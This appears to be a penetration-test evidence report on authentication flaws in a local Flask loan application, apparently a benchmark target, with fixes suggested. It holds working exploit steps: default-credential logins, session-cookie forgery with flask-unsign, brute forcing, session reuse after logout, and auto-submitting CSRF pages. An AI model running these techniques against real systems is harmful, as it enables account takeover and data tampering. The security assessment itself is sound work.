# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-06: Default Credential Authentication Bypass

**Summary:**
- **Vulnerable location:** POST /login endpoint (http://localhost:42029/login)
- **Overview:** Application contains hardcoded default credentials (test:test) that are automatically created on startup and cannot be disabled
- **Impact:** Immediate unauthorized access to authenticated user accounts without requiring credential theft or brute force
- **Severity:** HIGH

**Prerequisites:**
None - credentials are publicly visible in source code at `/app/website/app/__init__.py:20-35`

**Exploitation Steps:**

1. Attempt login with known default credentials:
```bash
curl -v -X POST http://localhost:42029/login \
  -d "username=test&password=test" \
  -c /tmp/session_cookies.txt
```

Expected response: HTTP 302 redirect to /home with Set-Cookie header

2. Verify authenticated access to protected resources:
```bash
curl -b /tmp/session_cookies.txt http://localhost:42029/profile
```

Expected response: HTTP 200 with user profile data including:
- Name: " onclick="alert(1)" (or other value)
- Email: test@test.com
- Loan Amount: 10000.0
- Loan Term: 60 months
- Monthly Payment: 212.47

3. Access other protected endpoints:
```bash
curl -b /tmp/session_cookies.txt http://localhost:42029/loan_details
curl -b /tmp/session_cookies.txt http://localhost:42029/home
```

**Proof of Impact:**
Successfully authenticated as user with default credentials and accessed:
- Complete user profile information (PII)
- Financial data (loan amounts, payment schedules)
- Ability to modify profile data via /update_profile endpoint
- Full access to all authenticated functionality

**Notes:**
- Default account is recreated on every application restart if deleted
- Credentials are visible in public source code repository
- No mechanism exists to disable or change default credentials via configuration
- Combined with session forgery vulnerability (AUTH-VULN-02), enables complete authentication bypass

---

### AUTH-VULN-02: Complete Authentication Bypass via Session Forgery

**Summary:**
- **Vulnerable location:** Application-wide session management (/app/website/app/__init__.py:8)
- **Overview:** Flask session secret key is hardcoded as 'your_secret_key' - a well-known placeholder from documentation with ~0 bits of entropy
- **Impact:** Complete authentication bypass allowing impersonation of any user account without credentials
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of weak secret key: 'your_secret_key' (public in source code)
- Tool to forge Flask sessions: flask-unsign (or Python itsdangerous library)
- Valid user_id value to impersonate (can enumerate: 1, 2, 3, etc.)

**Exploitation Steps:**

1. Decode an existing session cookie to understand structure:
```bash
flask-unsign --decode --cookie 'eyJ1c2VyX2lkIjoxfQ.aQUGMg.4uw7x1q77gowFPnonAp_EVm3qyk'
```

Expected output: `{'user_id': 1}`

2. Forge a session cookie for target user (user_id=2):
```bash
flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
```

Output: `eyJ1c2VyX2lkIjoyfQ.aQUIkQ.0mZoiC6KnfmR3j4jw_BQqyTwhjg`

3. Use forged session to access victim's profile:
```bash
FORGED_SESSION="eyJ1c2VyX2lkIjoyfQ.aQUIkQ.0mZoiC6KnfmR3j4jw_BQqyTwhjg"
curl -b "session=$FORGED_SESSION" http://localhost:42029/profile
```

Expected response: HTTP 200 with user_id=2's profile data showing:
- Name: Alice
- Lastname: Victim  
- Email: hacked@attacker.com
- Loan Amount: 75000.0
- Loan Term: 180 months
- Monthly Payment: 833.33

4. Verify complete account takeover by accessing other endpoints:
```bash
curl -b "session=$FORGED_SESSION" http://localhost:42029/home
curl -b "session=$FORGED_SESSION" http://localhost:42029/loan_details
```

5. Demonstrate write access by modifying victim's profile:
```bash
curl -X POST http://localhost:42029/update_profile \
  -b "session=$FORGED_SESSION" \
  -d "name=ATTACKER&lastname=COMPROMISED&email=attacker@evil.com&loan_amount=99999&loan_term_months=1&monthly_payment=99999"
```

**Proof of Impact:**
Successfully forged valid session cookies and achieved:
- Complete authentication bypass (no credentials needed)
- Read access to any user's sensitive data (PII, financial information)
- Write access to modify any user's profile data
- Ability to impersonate users 1, 2, 3, and 5 (confirmed to exist)
- Full account takeover capability

**Technical Details:**
- Secret key location: `/app/website/app/__init__.py:8`
- Session signature algorithm: HMAC-SHA1 (Flask/itsdangerous default)
- Session storage: Client-side only (no server-side validation)
- Cookie structure: `base64(data).timestamp.HMAC_signature`

**Notes:**
This vulnerability enables attackers to:
- Bypass authentication entirely without stealing credentials
- Impersonate any user by forging session with their user_id
- Maintain persistent access (sessions never expire server-side)
- Evade detection (forged sessions are cryptographically valid)

---

### AUTH-VULN-03: Unlimited Brute Force via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /login endpoint (http://localhost:42029/login)
- **Overview:** Complete absence of rate limiting, account lockout, CAPTCHA, or any abuse prevention mechanism
- **Impact:** Unlimited password brute force attacks at 76+ requests/second enabling rapid credential compromise
- **Severity:** CRITICAL

**Prerequisites:**
- Target username (can be enumerated or use default 'test')
- Password dictionary/wordlist
- HTTP client capable of rapid requests

**Exploitation Steps:**

1. Execute automated brute force attack script:
```bash
python3 /Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/test_rate_limiting.py
```

Script performs 50 rapid login attempts cycling through common passwords:
- ['admin', 'password', '123456', 'test', 'letmein', 'qwerty', 'welcome', 'monkey', 'dragon', 'master']

2. Observe results showing NO rate limiting:
```
Total attempts:           50
Total time taken:         0.65 seconds  
Average requests/second:  76.34
Successful logins (302):  5
Failed logins (200):      45
Rate limit responses:     0
```

3. Verify successful authentication with discovered password:
```bash
curl -X POST http://localhost:42029/login \
  -d "username=test&password=test" \
  -c /tmp/brute_force_session.txt
```

Expected response: HTTP 302 redirect to /home

4. Scale attack with larger wordlist (demonstration):
```bash
# Theoretical attack with rockyou.txt (14 million passwords)
# At 76 req/sec: ~51 hours to exhaust entire wordlist
# At 10 req/sec: ~16 days to exhaust entire wordlist
# No throttling, lockout, or CAPTCHA would prevent this
```

**Proof of Impact:**
Successful demonstration of:
- 76+ requests per second sustained throughput
- Zero HTTP 429 (Too Many Requests) responses
- Zero HTTP 503 (Service Unavailable) responses  
- No artificial delays or progressive backoff
- Successful credential discovery via brute force (password: 'test')
- No account lockout after multiple failed attempts
- No CAPTCHA challenges presented

**Technical Details:**
- Attack rate achieved: 76.34 req/sec
- Average response time: 0.013 seconds
- No Flask-Limiter middleware detected
- No Apache mod_ratelimit configuration
- No per-IP throttling implemented
- No failed login tracking in User model

**Attack Scalability:**
With common wordlists:
- Top 1000 passwords: ~13 seconds
- Top 10,000 passwords: ~2 minutes
- RockYou.txt (14M passwords): ~51 hours
- Custom targeted wordlist: Seconds to minutes

**Notes:**
- Attack can be parallelized across multiple IPs for even faster execution
- Combined with user enumeration, enables systematic account compromise
- No logging means attacks are completely undetected
- No notification mechanism to alert legitimate users

---

### AUTH-VULN-05: Session Hijacking via Session Reuse After Logout

**Summary:**
- **Vulnerable location:** GET /logout endpoint (http://localhost:42029/logout)
- **Overview:** Logout only deletes client-side cookie but session token remains cryptographically valid with no server-side invalidation
- **Impact:** Stolen session cookies remain valid indefinitely even after victim logs out, enabling persistent account access
- **Severity:** CRITICAL

**Prerequisites:**
- Captured session cookie (via network sniffing, XSS, session forgery, or physical access)

**Exploitation Steps:**

1. Authenticate and capture a valid session cookie:
```bash
curl -v -X POST http://localhost:42029/login \
  -d "username=test&password=test" \
  -c /tmp/session_reuse_test.txt 2>&1 | grep "Set-Cookie"
```

Captured session: `eyJ1c2VyX2lkIjoxfQ.aQUI8Q.L83H4Gvn-yY5MCCdbQveYR9yyqU`

2. Verify session works before logout:
```bash
SESSION_COOKIE="eyJ1c2VyX2lkIjoxfQ.aQUI8Q.L83H4Gvn-yY5MCCdbQveYR9yyqU"
curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/home | grep "<h2>"
```

Expected output: `<h2>Welcome HACKED_BY_XSS EXPLOITED!</h2>`

3. Victim performs logout:
```bash
curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/logout
```

Expected response: HTTP 302 redirect to /login

4. Attacker reuses captured session AFTER victim logout:
```bash
curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/home | grep -E "(<title>|<h2>)"
```

Expected output:
```
<title>Home</title>
<h2>Welcome HACKED_BY_XSS EXPLOITED!</h2>
```

**Proof of Impact:**
Successfully demonstrated:
- Session cookie remains cryptographically valid after logout
- Full access to victim's account maintained after logout
- Access to all protected endpoints: /home, /profile, /loan_details, /update_profile
- Ability to read and modify victim's data post-logout
- No server-side session revocation mechanism

**Technical Details:**
- Logout implementation: `session.pop('user_id', None)` at `/app/website/app/routes.py:44`
- Session storage: Client-side signed cookies only (no server-side session database)
- Session validation: Only verifies HMAC signature, not revocation status
- No session blacklist or invalidation list maintained
- Cookie deletion is client-side only (attacker retains copy)

**Attack Scenarios:**
1. **Network Interception:** Attacker captures session via MITM → victim logs out → attacker maintains access
2. **XSS/Session Theft:** Attacker steals cookie via XSS → victim logs out thinking they're safe → attacker continues access
3. **Physical Access:** Attacker copies cookie from victim's browser → victim logs out → attacker uses copied cookie
4. **Session Fixation:** Attacker provides fixed session → victim logs in → victim logs out → attacker reuses session

**Notes:**
- Sessions persist indefinitely (no server-side timeout)
- Combined with AUTH-VULN-07 (no timeout), attack window is unlimited
- Logout should implement server-side session invalidation
- No notification to user that their session is still active elsewhere

---

### AUTH-VULN-09: Cross-Site Request Forgery (CSRF) via Missing SameSite Cookie

**Summary:**
- **Vulnerable location:** All state-changing endpoints (POST /update_profile, GET /logout, POST /profile)
- **Overview:** Missing SameSite cookie attribute combined with no CSRF token validation allows cross-origin requests with victim's session cookies
- **Impact:** Complete account takeover via email modification, profile manipulation, and forced logout
- **Severity:** HIGH

**Prerequisites:**
- Victim must be authenticated to http://localhost:42029
- Attacker must trick victim into visiting malicious webpage
- Victim's browser must support automatic cookie transmission (all modern browsers)

**Exploitation Steps:**

**Attack 1: Profile Modification CSRF**

1. Create malicious HTML page (/tmp/csrf_poc.html):
```html
<!DOCTYPE html>
<html>
<head>
    <title>Legitimate Banking Offer</title>
</head>
<body>
    <h1>Congratulations! You've Won a Prize!</h1>
    <p>Loading your prize details...</p>
    
    <iframe name="csrf_frame" style="display:none;"></iframe>
    <form id="csrf_form" method="POST" action="http://localhost:42029/update_profile" target="csrf_frame">
        <input type="hidden" name="name" value="CSRF_VICTIM">
        <input type="hidden" name="lastname" value="HACKED">
        <input type="hidden" name="email" value="csrf_attack@evil.com">
        <input type="hidden" name="loan_amount" value="99999">
        <input type="hidden" name="loan_term_months" value="1">
        <input type="hidden" name="monthly_payment" value="99999">
    </form>
    
    <script>
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>
```

2. Victim logs into application:
```bash
curl -X POST http://localhost:42029/login \
  -d "username=test&password=test" \
  -c /tmp/victim_cookies.txt
```

3. Victim visits attacker's malicious page (simulated via curl with victim's cookies):
```bash
curl -X POST http://localhost:42029/update_profile \
  -H "Origin: http://evil.com" \
  -H "Referer: http://evil.com/csrf_poc.html" \
  -b /tmp/victim_cookies.txt \
  -d "name=CSRF_VICTIM&lastname=HACKED&email=csrf_attack@evil.com&loan_amount=99999&loan_term_months=1&monthly_payment=99999"
```

Expected response: HTTP 302 redirect to /profile (success)

4. Verify profile was modified:
```bash
curl -b /tmp/victim_cookies.txt http://localhost:42029/profile | grep "CSRF_VICTIM"
```

Expected output: Input fields containing "CSRF_VICTIM", "HACKED", "csrf_attack@evil.com"

**Attack 2: Logout CSRF (Denial of Service)**

1. Create logout CSRF page (/tmp/csrf_logout.html):
```html
<!DOCTYPE html>
<html>
<head>
    <title>Funny Cat Pictures</title>
</head>
<body>
    <h1>Loading funny cats...</h1>
    <img src="http://localhost:42029/logout" style="display:none;">
    <iframe src="http://localhost:42029/logout" style="display:none;"></iframe>
</body>
</html>
```

2. Victim authenticated, visits page:
```bash
# Simulated logout via CSRF
curl -b /tmp/victim_cookies.txt http://localhost:42029/logout
```

3. Victim's session is destroyed without their knowledge:
```bash
curl -b /tmp/victim_cookies.txt http://localhost:42029/home
```

Expected response: HTTP 302 redirect to /login (session destroyed)

**Proof of Impact:**
Successfully demonstrated:
- Profile modification without victim's knowledge or consent
- Email changed to attacker-controlled address (enables password reset account takeover)
- Financial data manipulation (loan amounts changed to fraudulent values)
- Forced logout causing denial of service
- No CSRF token validation on any endpoint
- No Origin/Referer header validation
- SameSite cookie attribute not configured (defaults to None)

**Technical Details:**
- Cookie configuration: No `SESSION_COOKIE_SAMESITE` in `/app/website/app/__init__.py`
- CSRF protection: None (no Flask-WTF, no CSRF tokens)
- Origin validation: None (no Origin/Referer header checks)
- Logout method: GET (vulnerable to `<img>` tag attacks) at `/app/website/app/routes.py:41`
- CORS policy: Wildcard `Access-Control-Allow-Origin: *` enables cross-origin requests

**Attack Scenarios:**

**Scenario 1: Account Takeover via Email Change**
1. Attacker sends victim malicious link: "You've won a prize!"
2. Victim clicks while authenticated to loan application
3. CSRF changes email to attacker@evil.com
4. Attacker initiates password reset (if feature existed)
5. Reset link sent to attacker's email
6. Complete account takeover achieved

**Scenario 2: Financial Fraud**
1. Attacker creates CSRF form changing loan amount to $999,999
2. Victim visits malicious page
3. Loan application shows fraudulent amount
4. Could impact credit reporting or loan approvals

**Scenario 3: Session Hijacking**
1. Attacker forces logout via `<img>` tag
2. Victim re-authenticates on phishing page (thinking original session expired)
3. Credentials captured by attacker

**Notes:**
- Automated testing script available: /tmp/csrf_exploit.py
- Comprehensive documentation: /tmp/csrf_testing_guide.md, /tmp/README_CSRF_DEMO.md
- POC files: /tmp/csrf_poc.html, /tmp/csrf_logout.html
- Affects ALL state-changing operations (no CSRF protection implemented)
- Combined with wildcard CORS, allows any origin to make authenticated requests

---

## Out-of-Scope Vulnerabilities (Require Internal Access)

### AUTH-VULN-01: Session Hijacking via Non-Secure Cookie Flag

**Status:** OUT_OF_SCOPE_INTERNAL

**Why Not Exploited:**
Requires network MITM position (same physical network as victim, such as public WiFi, or compromised router). This is beyond the external network attack surface accessible at http://localhost:42029/.

**Evidence of Vulnerability:**
Session cookie inspection confirms missing Secure flag:
```bash
curl -v -X POST http://localhost:42029/login -d "username=test&password=test" 2>&1 | grep "Set-Cookie"
```

Output: `Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ...; HttpOnly; Path=/`

**Missing:** `Secure` flag (should be: `Set-Cookie: session=...; HttpOnly; Secure; Path=/`)

**Exploitation Requirement:**
- Attacker must be on same network as victim (WiFi, LAN, compromised router)
- Capability to intercept HTTP traffic (Wireshark, tcpdump, Bettercap)
- Active MITM attack or passive network sniffing

**Impact if Exploitable:**
Session cookie transmitted in cleartext over HTTP can be captured via network interception, enabling session hijacking.

**Code Location:** `/app/website/app/__init__.py:8` (no `SESSION_COOKIE_SECURE = True` configuration)

---

### AUTH-VULN-04: Plaintext Password Storage

**Status:** OUT_OF_SCOPE_INTERNAL

**Why Not Exploited:**
Requires database access. MySQL port 3306 is not exposed externally - only accessible within Docker network.

**Evidence of Inaccessibility:**
```bash
curl -v telnet://localhost:3306 2>&1 | grep -E "(Trying|Connected|refused)"
```

Output:
```
*   Trying [::1]:3306...
* connect to ::1 port 3306 failed: Connection refused
*   Trying 127.0.0.1:3306...
* connect to 127.0.0.1 port 3306 failed: Connection refused
```

**Exploitation Requirement:**
- Direct database access (SQL injection, backup file theft, insider threat, or container breach)
- Connection to MySQL port 3306 (currently blocked)

**Impact if Exploitable:**
All user passwords stored in plaintext in `user.password` field. Database compromise would expose all credentials immediately without need for cracking.

**Code Location:** 
- Password storage: `/app/website/app/models.py:8` (`password = db.Column(db.String(50))`)
- Plaintext comparison: `/app/website/app/routes.py:29` (`User.query.filter_by(username=username, password=password)`)

---

### AUTH-VULN-08: Credential Interception via HTTP-Only Transmission

**Status:** OUT_OF_SCOPE_INTERNAL

**Why Not Exploited:**
Requires network MITM position to intercept HTTP traffic. Same limitation as AUTH-VULN-01.

**Evidence of Vulnerability:**
Application serves only over HTTP (port 80):
```bash
curl -v http://localhost:42029/ 2>&1 | grep "HTTP/"
```

Output: `< HTTP/1.1 302 FOUND`

No HTTPS available:
```bash
curl -v https://localhost:42029/ 2>&1 | grep -E "(SSL|TLS|https)"
```

Output: Connection refused (port 443 not listening for this application)

**Exploitation Requirement:**
- Network interception capability (MITM attack)
- Same network as victim or compromised network path

**Impact if Exploitable:**
Login credentials transmitted in plaintext POST body can be captured:
```
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=test&password=test
```

**Configuration Location:** `/app/ssti_include_loan_calculator-httpd.conf:1` (`<VirtualHost *:80>` with no HTTPS configuration)

---

## Contributing Factors (Demonstrated via Other Vulnerabilities)

### AUTH-VULN-07: Session Persistence Without Timeout

**Classification:** Security weakness enhancing other vulnerabilities

**Demonstrated via:** AUTH-VULN-05 (Session Reuse After Logout)

**Evidence:**
Session cookies have no expiration:
```bash
curl -v -X POST http://localhost:42029/login -d "username=test&password=test" 2>&1 | grep -E "(Expires|Max-Age)"
```

Output: `< Expires: 0` (HTTP cache header, not cookie attribute)

Session cookie has no `Max-Age` or `Expires` attribute, meaning it persists as a session cookie until browser closure. However, modern browsers restore session cookies, and there's no server-side timeout enforcement.

**Impact:**
- Extends attack window for session hijacking attacks
- Stolen sessions remain valid indefinitely  
- No automatic expiration after inactivity
- Combined with AUTH-VULN-05, enables unlimited persistence

**Code Location:** `/app/website/app/__init__.py:6-12` (no `PERMANENT_SESSION_LIFETIME` configuration)

**Recommended Fix:**
```python
from datetime import timedelta
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30)  # Idle timeout
```

---

### AUTH-VULN-10: No Brute Force Detection or Authentication Logging

**Classification:** Security weakness enabling other vulnerabilities

**Demonstrated via:** AUTH-VULN-03 (Unlimited Brute Force Attack)

**Evidence:**
Brute force attack executed at 76+ req/sec with zero logging or detection:
```
Total attempts:           50
Average requests/second:  76.34
Rate limit responses:     0
No logs generated in application
```

**Impact:**
- No audit trail of authentication events
- Brute force attacks go undetected
- No alerting mechanism for suspicious activity
- Enables stealthy credential compromise
- No forensic evidence for incident response

**Code Location:** 
- Login endpoint: `/app/website/app/routes.py:24-38` (no logging statements)
- No logging imports in codebase
- No SIEM integration

**Recommended Fix:**
```python
import logging

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    # ... authentication logic ...
    if user:
        logging.info(f"Successful login: {username} from {request.remote_addr}")
    else:
        logging.warning(f"Failed login attempt: {username} from {request.remote_addr}")
```

---

## Summary Statistics

**Total Vulnerabilities in Queue:** 10

**Exploited (5):**
- AUTH-VULN-02: Session Forgery (CRITICAL)
- AUTH-VULN-03: Unlimited Brute Force (CRITICAL)
- AUTH-VULN-05: Session Reuse After Logout (CRITICAL)
- AUTH-VULN-06: Default Credentials (HIGH)
- AUTH-VULN-09: CSRF (HIGH)

**Out-of-Scope (3):**
- AUTH-VULN-01: Network interception required
- AUTH-VULN-04: Database access required
- AUTH-VULN-08: Network interception required

**Contributing Factors (2):**
- AUTH-VULN-07: Demonstrated via AUTH-VULN-05
- AUTH-VULN-10: Demonstrated via AUTH-VULN-03

**Exploitation Success Rate:** 5/7 externally exploitable vulnerabilities (71%)

**Impact:**
- Complete authentication bypass achieved (AUTH-VULN-02)
- Account takeover demonstrated (AUTH-VULN-02, AUTH-VULN-06, AUTH-VULN-09)
- Credential compromise enabled (AUTH-VULN-03, AUTH-VULN-06)
- Persistent access demonstrated (AUTH-VULN-05)
- Cross-site attacks successful (AUTH-VULN-09)